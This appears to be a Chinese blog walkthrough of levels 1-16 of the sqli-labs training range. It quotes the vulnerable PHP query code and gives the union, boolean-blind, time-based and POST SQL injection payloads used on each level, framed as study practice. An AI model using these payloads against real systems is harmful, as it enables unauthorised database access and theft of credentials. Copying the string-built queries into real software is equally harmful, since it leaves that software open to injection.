当前位置:网站首页>sqli-lab 1-16通关随笔记
sqli-lab 1-16通关随笔记
2022-07-23 05:40:00 【qianpd】
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
SQL注入学习 sqli -labs靶场通关 1~16
前段时间大概学了一遍内网,免杀正好来将web这块重新复习一遍
由于是直接刷关所以只是让关卡报出注入点其余的都没搞。
首先明确SQL注入产生的原理是传递结构化语言时影响了数据库的执行叫做SQL注入。
GET注入
1~4关
这些关卡都是统一的get型注入而且都是通过联合查询的
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else {
echo "Please input the ID as parameter with numeric value";}
?>
代码中通过mysql_query()和mysql_fetch_array()这两个函数先执行查询语句然后再将同一行的数据以数组形式输出,调用数据库列名称来呈现查询结果而mysql_error()这个函数的作用是输出mysql数据库报错的信息这也是做联合查询时的一个重要依据。
payload:
id=1' and 1=2 union select 1,2,3 --+

payload:
id=-1 union select 1,2,3

payload:
id=-1') union select 1,2,3 --+

payload:
id=-1") union select 1,2,3 --+
5~8关
这几个关卡则是boolean型的盲注,盲注的意思是存在注入但是注入结果并不会返回到前端,而利用辅助手段帮助我们索引的过程叫盲注。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
这里面并没有出现新的函数就像上面所说与1~4关的区别就是没有结果返回到前端。
payload:
id=1' and length(database())>1 --+

payload:
id=1" and length(database())>1 --+

payload:
id=1')) and length(database())>1 --+

payload:
id=1' and length(database())>1 --+

在这里第5关和第8关的注入payload相同但是他们的源码不太一样
//第五关源码
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
//第八关源码
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
可以看到在代码中执行else时第五关会将mysql报错信息打印出来而第八关则是返回空也就是说第五关并不算是完全的布尔盲注。
9~10关
延时注入,这一类与布尔注入一样都是属于盲注的一种但是对比起布尔盲注来说延时注入就多了if()和sleep()这两个函数
payload:
id=1' and if(length(dabase())>1,sleep(5),1) --+ //这里的1是用于占位

sleep()函数的含义为睡眠,sleep(5)就是睡眠5秒而payload的含义就是睡眠5秒后返回数据
如图:
与布尔盲注和联合查询相比延时注入算是最耗费时间的注入方法,并且延时注入容易受到网络环境的影响。
POST注入
与GET型注入不同的地方就是POST注入一般要通过post请求去发送数据包然后是在数据包中去修改注入参数在数据包中找注入点,GET型注入则直接可以通过url来实现注入且数据包也是get请求发送的数据包,还有就是post注入可以通过溢出去绕过WAF,其余的则是相同的。
11~12关
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//echo '<font color= "#0000ff">';
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in\n\n " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
在代码中主要是将输入的username和password放进数据库里对比如果对比下来为真则会返回username和password为假则返回空而注入就是出现在这里,这种注入一般来说会存在万能密码
这里的11和12关的方法与前面1~4关的方法相同就是请求方式不同
13~16关
这几关的注入方法是延时注入,payload这些都没变
总结
这次主要是手工去注入的没有尝试sqlmap工具去跑,在sqlmap中对GET和POST的处理方式也不同顺便我这边自己的盲注exp也没有完善,总的来说这次复习还算可以既复习了原来的知识又学了一点新的知识。
ps:萌新初次写文章有写的不好的地方望师傅斧正,在此感激不尽。
边栏推荐
猜你喜欢

Large factory interview machine learning algorithm (0): Feature Engineering | data preprocessing

Simple implementation of rectangular area block

Command Execution Vulnerability and defense

PHP文件上传中fileinfo出现的安全问题

Oracle创建数据库“监听程序未启动或数据库服务未注册”错误处理

中间人攻击arp欺骗及与beef-xss联动

Dynamically set the theme color of the card

牛客刷题记录--Mysql

如何自定义Jsp标签

Install pyGame using CMD
随机推荐
Install pyGame using CMD
忽略埋点记录的ResizeObserver - loop limit exceeded
Redis database and project framework
MySQL增删改查&&高级查询语句
[metric]使用Prometheus监控flink1.13org.apache.flink.metrics
高阶函数的应用:手写Promise源码(四)
Inheritance mode of JS
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘ord
my_ Implementation of strcpy (classic, simple, practical, collection)
文件上传漏洞原理
命令执行漏洞及防御
Points for attention when using El table to lazy load tree tables
【C语言】什么是函数?函数的分类和侧重(帮你快速分类和记忆函数)
composer的一些操作
NPM init vite app < project name > error install for[‘ [email protected] ‘] failed with code 1
BurpSuite学习笔记
Py program can run, but the packaged exe prompts an error: recursion is detected when loading the "CV2" binary extension. Please check the opencv installation.
sqli-lab第17~22关通关随笔记
[untitled]
使用el-table懒加载树形表格时的注意点
